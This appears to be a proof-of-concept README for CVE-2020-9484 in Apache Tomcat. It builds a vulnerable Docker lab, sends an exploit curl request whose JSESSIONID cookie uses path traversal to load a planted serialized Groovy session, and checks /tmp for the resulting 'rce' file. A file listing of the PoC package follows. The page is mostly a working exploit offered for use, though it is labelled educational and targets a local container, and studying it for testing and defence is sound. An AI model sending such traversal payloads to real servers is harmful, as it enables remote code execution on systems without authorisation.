# CVE-2020-9484 (Tomcat)
For educational purposes only.
See Reference for the details.
## Run
```
$ git clone https://github.com/masahiro331/CVE-2020-9484.git
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .
$ CONTAINER=`docker run -d -p 8080:8080 tomcat:groovy`
```
## Check (clean)
```
$ docker exec -it $CONTAINER ls -la /tmp
```
**NOTE:** (`rce` NOT in output)
## Exploit
```
$ curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'
```
## Check (exploited)
```
$ docker exec -it $CONTAINER ls -la /tmp
```
**NOTE:** (`rce` IS in output)
[4.0K] /data/pocs/b25c20533d6d3be58b79ef60a1b80f3c085d6cc7
├── [1.4K] context.xml
├── [ 357] Dockerfile
├── [4.3M] groovy-2.3.9.jar
├── [2.0K] groovy.session
├── [ 303] index.jsp
└── [ 600] README.md
0 directories, 6 files